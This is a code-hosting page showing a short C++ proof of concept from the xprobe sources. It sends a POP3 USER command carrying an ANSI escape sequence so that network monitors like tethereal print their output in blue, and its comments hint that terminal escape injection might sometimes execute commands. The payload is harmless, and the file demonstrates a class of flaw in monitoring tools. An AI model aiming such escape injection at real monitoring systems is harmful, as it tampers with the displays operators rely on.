turnblue.cc

来自「xprobe package sources code」· CC 代码 · 共 28 行

CC
28
字号
// Many network-monitoring tools pass user-given// input raw to the terminal. This lets us do funny things.// More evil, one could execute commands in very hard,// maybe impossible cases (depends on how your terminal interprets // what)// This piece turns output of 'tetheral' blue.// (C) 2000 by S. Krahmer under the GPL. Needs libUSI++#include <stdio.h>#include <usi++/tcp.h>#include <string.h>using namespace usipp;int main(){	TCP tcp("target");	char buf[100];	memset(buf, 0, sizeof(buf));	tcp.set_srcport(1024);	tcp.set_dstport(110);		sprintf(buf, "USER \E[34m");	// turn tehereal's output into blue	tcp.sendpack(buf);	return 0;}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?